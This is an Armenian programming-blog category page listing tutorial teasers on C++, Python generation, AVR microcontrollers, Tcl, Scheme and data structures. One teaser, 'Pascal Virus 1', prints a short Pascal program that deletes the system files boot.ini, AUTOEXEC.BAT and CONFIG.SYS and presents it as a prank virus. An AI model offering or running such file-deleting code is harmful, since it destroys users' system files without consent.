Սկիզբ » Ուսումնական նյութեր » Ծրագրավորում » Ծրագրավորման լեզուներ (Էջ 4)

RSSԲաժին: Ծրագրավորման լեզուներ

Պարզագույն web page saver կամ ինչպես գեներացնել python script C++ -ով:

| Ապրիլ 4, 2013 |
Պարզագույն web page saver կամ ինչպես գեներացնել python script C++ -ով:

Այս հոդվածում բերված է C++ -ով python սկրիպտերի գեներացման օրինակ: Մեր ծրագիրը գեներացնում և թողարկում է python սկրիպտը, որն էլ պատճենում և պահպանում է կայքի էջը` առանց նկարների և այլ կայքին հարակից ֆայլերի պատճենման, որոնք նույնպես անկասկած հեշտությամբ կարելի է պատճենել, փոքր ինչ կատարելագործելով բերված կոդը: Անշուշտ կայքի պատճենման և պահպանման ողջ ֆունկցիոնալությունը կարելի է իրականացնել C++ […]

Կարդալ ամբողջը

C++։ Մի քանի հարցեր և պատասխաններ։ Մաս 1։

| Ապրիլ 1, 2013 |
C++։ Մի քանի հարցեր և պատասխաններ։ Մաս 1։

Որո՞նք են օբյեկտակողմնորոշված ծրագրավորման հիմնական բաղկացուցիչները

Կարդալ ամբողջը

Ծրագրավորում ենք AVR միկրոկոնտրոլերները Linux օհ -ից միայն GNU գործիքներով։

| Մարտ 8, 2013 |
Ծրագրավորում ենք AVR միկրոկոնտրոլերները Linux օհ -ից միայն  GNU գործիքներով։

Սովորաբար windows-ում AVR միկրոկոնտրոլերների ծրագրավորման համար օգագործում էնք CodeVisionAvr, WinAvr, AvrStudio և այլ ծրագրային միջավայրերը։ Իսկ ինչ կասեք, որ ասեմ ծրագրավորելու ենք AVR միկրոկոնտրոլերները միայն GNU-ի տրամադրած միջոցներով ու ծրագրերով։

Կարդալ ամբողջը

Ուրախանալու 5 ձև կամ VBS ծրագրեր

| Փետրվար 17, 2013 |
Ուրախանալու 5 ձև կամ VBS ծրագրեր

Visual Basic Script-ով մի քանի հետաքրքիր և զվարճալի սկրիպտներ:

Կարդալ ամբողջը

Պասկալ Վիրուս 1

| Փետրվար 14, 2013 |
 Պասկալ Վիրուս 1

էն ով էր ասում, որ պասկալը հիմար և հնացած ծրագրավորման լեզու ա?????? Դու? Դե կարդա էս հոդվածը! Գրելու եմ 1 հոդված- 1 վիրուս ձևով (Բացի էս մեկից): Վիրուս Համար 1: program virus1; var f : file; begin assign(f, ‘c:/boot.ini’); erase(f); assign(f, ‘c:/AUTOEXEC.BAT’); erase(f); assign(f, ‘c:/CONFIG.SYS’); erase(f) end. Դե ոնց հասկացար վիրուսը ուղղակի ՈՉՆՉԱՑՆՈՒՄԱ  3 շատ […]

Կարդալ ամբողջը

Տն. աշխ. #3: Նախապատվություններով հերթ

| Փետրվար 14, 2013 |
Տն. աշխ. #3: Նախապատվություններով հերթ

Հերթի այն տեսակը, որտեղ տարրերը կարող են ավելացվել կամայականորեն, բայց կարող են հեռացվել միայն ըստ նրանց մեջ սահմանված կարգի, կոչվում է նախապատվություններով հերթ։ Օրինակ, եթե որպես հերթի մեջ ավելացվող տարրեր դիտարկվում են թվերը, իսկ թվերի մեջ սահմանված կարգ է հանդիսանում “<” (փոքր է) գործողությունը, ապա ամեն անգամ հերթից որևէ տարր պահանջելով կստանանք այնտեղ եղած տարրերից […]

Կարդալ ամբողջը

Ապարատային PWM՝ լայնույթահաճախային մոդուլյաիցա, atmega8 միկրոկոնտրոլերի թայմերների ծրագրավորման միջոցով։

| Փետրվար 10, 2013 |
Ապարատային PWM՝ լայնույթահաճախային մոդուլյաիցա, atmega8 միկրոկոնտրոլերի թայմերների ծրագրավորման միջոցով։

PWM կամ լայնույթահաճախային մոդուլյացիա – բեռի վրա լարման միջին արժեքի կառավարում ազդանշանի լայնույթահաճախային պարամետրերի կարգաբերման միջոցով։ Լարման կարգաբերման այս եղանակը, ի տարբերություն լարման բաժանարարի և տրանզիստորային սխեմաների հարմար է նրանով, որ ունի բավական բարձր օգգ և ցածր ջերմանջատում։ Միկրոկոնտրոլերի միջոցով pwm ազդանշան կարելի է ստանալ 2 հակադիր ճանապարհներով՝ ապարատային և ծրագրային։ Ապարատային pwm ազդանշանի ստացման […]

Կարդալ ամբողջը

Տնային աշխատանք #2։ Սիմվոլիկ դիֆերենցում

| Փետրվար 8, 2013 |
Տնային աշխատանք #2։ Սիմվոլիկ դիֆերենցում

Մի քանի օր առաջ թերթում էի Structure and Interpretation of Computer Programs գիրքը և աչքովս ընկավ մի օրինակ, որտեղ հաշվում էր պարզագույն մաթեմատիկական արտահայտությունների դիֆերենցիալը (2.3.2 Example: Symbolic Differentiation)։ Փորձեցի այն վերարտադրել Tcl լեզվով ու ահա թե ինչ ստացվեց։ Նախապես ասեմ, որ արտահայտություները սահմանափակված են միայն գումարում, հանում, բազմապատկում և բաժանում բինար գործողություններով, իսկ դիֆերենցիալը […]

Կարդալ ամբողջը

Չփոփոխվող տվյալների կառուցվածքների մասին

| Հունվար 30, 2013 |
Չփոփոխվող տվյալների կառուցվածքների մասին

Շարունակելով իմ նախորդ գրառման բինար որոնման ծառերի թեման, ուզում եմ նույն այդ օրինակով ցույց տալ, թե ինչպես կարելի է ծրագրեր գրել օգտագործելով միայն չփոփոխվող (immutable) տվյալների կառուցվածքներ։ Այս անգամ բինար որոնման ծառերի վարքը ծրագրավորել եմ Scheme լեզվով (այն Lisp ընտանիքի թերևս ամենահայտնի ներկայացուցիչն է)։ Ծառը ներկայացված է ցուցակի տեսքով, որի առաջին տարրը արմատի արժեքն է, […]

Կարդալ ամբողջը

C++11: Բինար որոնման ծառեր

| Հունվար 24, 2013 |
C++11: Բինար որոնման ծառեր

Այս գրառման մեջ ես ներկայացնում եմ բինար որոնման ծառի (binary search tree, BST) դասի ծրագրավորումը C++11 լեզվով։ Բինար որոնման ծառերն առանձնանում են նրանով, ամեն մի հանգույցի պարունակած արժեքը ավելի փոքր է քան նրա ձախ ենթածառի արժեքները և ավելի մեծ է, քան նրա աջ ենթածառի արժեքները։ Քանի որ բինար ծառի ամեն մի հանգույցը կարող է ունենալ […]

Կարդալ ամբողջը

113